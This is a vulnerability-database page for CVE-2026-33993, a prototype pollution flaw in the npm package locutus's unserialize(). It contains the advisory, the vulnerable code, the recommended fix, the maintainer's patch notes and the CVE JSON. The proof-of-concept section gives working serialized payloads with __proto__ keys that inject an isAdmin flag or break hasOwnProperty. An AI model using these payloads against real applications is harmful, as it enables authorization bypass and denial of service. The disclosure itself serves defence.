Vulnerability-Lookup

GHSA-4MPH-V827-F877

Vulnerability from github – Published: 2026-03-27 17:57 – Updated: 2026-03-30 20:14

Summary

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Details

Summary

The unserialize() function in locutus/php/var/unserialize assigns deserialized keys to plain objects via bracket notation without filtering the __proto__ key. When a PHP serialized payload contains __proto__ as an array or object key, JavaScript's __proto__ setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.

This is distinct from the previously reported prototype pollution in parse_str (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — unserialize is a different function with no mitigation applied.

Details

The vulnerable code is in two functions within src/php/var/unserialize.ts:

expectArrayItems() at line 358:

// src/php/var/unserialize.ts:329-366
function expectArrayItems(
  str: string,
  expectedItems = 0,
  cache: CacheFn,
): [UnserializedObject | UnserializedValue[], number] {
  // ...
  const items: UnserializedObject = {}
  // ...
  for (let i = 0; i < expectedItems; i++) {
    key = expectKeyOrIndex(str)
    // ...
    item = expectType(str, cache)
    // ...
    items[String(key[0])] = item[0]  // line 358 — no __proto__ filtering
  }
  // ...
}

expectObject() at line 278:

// src/php/var/unserialize.ts:246-287
function expectObject(str: string, cache: CacheFn): ParsedResult {
  // ...
  const obj: UnserializedObject = {}
  // ...
  for (let i = 0; i < propCount; i++) {
    // ...
    obj[String(prop[0])] = value[0]  // line 278 — no __proto__ filtering
  }
  // ...
}

Both functions create a plain object ({}) and assign user-controlled keys via bracket notation. When the key is __proto__, JavaScript's __proto__ setter replaces the object's prototype rather than creating a regular property. This means:

Properties in the attacker-supplied prototype become accessible via dot notation and the in operator
These properties are invisible to Object.keys(), JSON.stringify(), and hasOwnProperty()
They propagate to copies made via for...in loops, becoming real own properties
The attacker can override hasOwnProperty, toString, valueOf with non-function values

Notably, parse_str in the same package has a regex guard against __proto__ (line 74 of src/php/strings/parse_str.ts), but no equivalent protection was applied to unserialize.

This is not global Object.prototype pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.

PoC

Setup:

npm install locutus@3.0.24

Step 1 — Property injection via array deserialization:

import { unserialize } from 'locutus/php/var/unserialize';

const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const config = unserialize(payload);

console.log(config.isAdmin);           // true (injected via prototype)
console.log(Object.keys(config));      // ['name'] — isAdmin is hidden
console.log('isAdmin' in config);      // true — bypasses 'in' checks
console.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty

Verified output:

true
[ 'name' ]
true
false

Step 2 — for...in propagation makes injected properties real:

const copy = {};
for (const k in config) copy[k] = config[k];
console.log(copy.isAdmin);                     // true (now an own property)
console.log(copy.hasOwnProperty('isAdmin'));    // true

Verified output:

true
true

Step 3 — Method override denial of service:

const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}';
const obj = unserialize(payload2);
obj.hasOwnProperty('x');  // TypeError: obj.hasOwnProperty is not a function

Verified output:

TypeError: obj.hasOwnProperty is not a function

Step 4 — Object type (stdClass) is also vulnerable:

const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}';
const obj2 = unserialize(payload3);
console.log(obj2.isAdmin);       // true
console.log('isAdmin' in obj2);  // true

Step 5 — Confirm NOT global pollution:

console.log(({}).isAdmin);  // undefined — global Object.prototype is clean

Impact

Property injection: Attacker-controlled properties become accessible on the deserialized object via dot notation and the in operator while being invisible to Object.keys() and hasOwnProperty(). Applications that use if (config.isAdmin) or if ('role' in config) patterns on deserialized data are vulnerable to authorization bypass.
Property propagation: When consuming code copies the object using for...in (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent hasOwnProperty checks.
Denial of service: The injected prototype can override hasOwnProperty, toString, valueOf, and other Object.prototype methods with non-function values, causing TypeError when these methods are called on the deserialized object.

The primary use case for locutus unserialize is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.

Recommended Fix

Filter dangerous keys before assignment in both expectArrayItems and expectObject. Use Object.defineProperty to create a data property without triggering the __proto__ setter:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

// In expectArrayItems (line 358) and expectObject (line 278):
const keyStr = String(key[0]); // or String(prop[0]) in expectObject
if (DANGEROUS_KEYS.has(keyStr)) {
  Object.defineProperty(items, keyStr, {
    value: item[0],
    writable: true,
    enumerable: true,
    configurable: true,
  });
} else {
  items[keyStr] = item[0];
}

Alternatively, create objects with a null prototype to prevent __proto__ setter invocation entirely:

// Replace: const items: UnserializedObject = {}
// With:
const items = Object.create(null) as UnserializedObject;

The Object.create(null) approach is more robust as it prevents the __proto__ setter from ever being triggered, regardless of key value.

Maintainer Reponse

Thank you for the report. This issue was reproduced locally against locutus@3.0.24, confirming that unserialize() was vulnerable to __proto__-driven prototype injection on the returned object.

This is now fixed on main and released in locutus@3.0.25.

Fix Shipped In

PR: #597
Merge commit on main: 345a6211e1e6f939f96a7090bfeff642c9fcf9e4
Release: v3.0.25

What the Fix Does

The fix hardens src/php/var/unserialize.ts by treating __proto__, constructor, and prototype as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.

Tested Repro Before the Fix

Attacker-controlled serialized __proto__ key produced inherited properties on the returned object
Object.keys() hid the injected key while 'key' in obj stayed true
Built-in methods like hasOwnProperty could be disrupted

Tested State After the Fix in `3.0.25`

Dangerous keys are kept as own enumerable properties
The returned object's prototype is not replaced
The regression is covered by test/custom/unserialize-prototype-pollution.vitest.ts

The locutus team is treating this as a real package vulnerability with patched version 3.0.25.

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locutus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T17:57:39Z",
    "nvd_published_at": "2026-03-27T23:17:14Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript\u0027s `__proto__` setter is invoked, replacing the deserialized object\u0027s prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) \u2014 `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n  str: string,\n  expectedItems = 0,\n  cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n  // ...\n  const items: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c expectedItems; i++) {\n    key = expectKeyOrIndex(str)\n    // ...\n    item = expectType(str, cache)\n    // ...\n    items[String(key[0])] = item[0]  // line 358 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n  // ...\n  const obj: UnserializedObject = {}\n  // ...\n  for (let i = 0; i \u003c propCount; i++) {\n    // ...\n    obj[String(prop[0])] = value[0]  // line 278 \u2014 no __proto__ filtering\n  }\n  // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript\u0027s `__proto__` setter replaces the object\u0027s prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution \u2014 only the deserialized object\u0027s prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 \u2014 Property injection via array deserialization:**\n```js\nimport { unserialize } from \u0027locutus/php/var/unserialize\u0027;\n\nconst payload = \u0027a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin);           // true (injected via prototype)\nconsole.log(Object.keys(config));      // [\u0027name\u0027] \u2014 isAdmin is hidden\nconsole.log(\u0027isAdmin\u0027 in config);      // true \u2014 bypasses \u0027in\u0027 checks\nconsole.log(config.hasOwnProperty(\u0027isAdmin\u0027)); // false \u2014 invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ \u0027name\u0027 ]\ntrue\nfalse\n```\n\n**Step 2 \u2014 for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin);                     // true (now an own property)\nconsole.log(copy.hasOwnProperty(\u0027isAdmin\u0027));    // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 \u2014 Method override denial of service:**\n```js\nconst payload2 = \u0027a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}\u0027;\nconst obj = unserialize(payload2);\nobj.hasOwnProperty(\u0027x\u0027);  // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 \u2014 Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = \u0027O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}\u0027;\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin);       // true\nconsole.log(\u0027isAdmin\u0027 in obj2);  // true\n```\n\n**Step 5 \u2014 Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin);  // undefined \u2014 global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if (\u0027role\u0027 in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n  Object.defineProperty(items, keyStr, {\n    value: item[0],\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  });\n} else {\n  items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript\u0027s prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `\u0027key\u0027 in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object\u0027s prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.",
  "id": "GHSA-4mph-v827-f877",
  "modified": "2026-03-30T20:14:41Z",
  "published": "2026-03-27T17:57:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/pull/597"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locutusjs/locutus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()"
}

CVE-2026-33993 (GCVE-0-2026-33993)

Vulnerability from cvelistv5 – Published: 2026-03-27 22:14 – Updated: 2026-03-30 15:45

Title

Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()

Summary

Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.

Severity ?

6.9 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/locutusjs/locutus/security/adv…	x_refsource_CONFIRM
	https://github.com/locutusjs/locutus/pull/597	x_refsource_MISC
	https://github.com/locutusjs/locutus/commit/345a6…	x_refsource_MISC
	https://github.com/locutusjs/locutus/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	locutusjs	locutus	Affected: < 3.0.25

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33993",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-30T15:45:05.433846Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-30T15:45:18.660Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "locutus",
          "vendor": "locutusjs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.0.25"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript\u0027s `__proto__` setter is invoked, replacing the deserialized object\u0027s prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) \u2014 `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1321",
              "description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-27T22:14:03.495Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877"
        },
        {
          "name": "https://github.com/locutusjs/locutus/pull/597",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/locutusjs/locutus/pull/597"
        },
        {
          "name": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4"
        },
        {
          "name": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25"
        }
      ],
      "source": {
        "advisory": "GHSA-4mph-v827-f877",
        "discovery": "UNKNOWN"
      },
      "title": "Locutus has Prototype Pollution via __proto__ Key Injection in unserialize()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33993",
    "datePublished": "2026-03-27T22:14:03.495Z",
    "dateReserved": "2026-03-24T22:20:06.212Z",
    "dateUpdated": "2026-03-30T15:45:18.660Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-4MPH-V827-F877

Summary

Details

PoC

Impact

Recommended Fix

Maintainer Reponse

Fix Shipped In

What the Fix Does

Tested Repro Before the Fix

Tested State After the Fix in 3.0.25

CVE-2026-33993 (GCVE-0-2026-33993)

Tags

Sightings

Nomenclature

Tested State After the Fix in `3.0.25`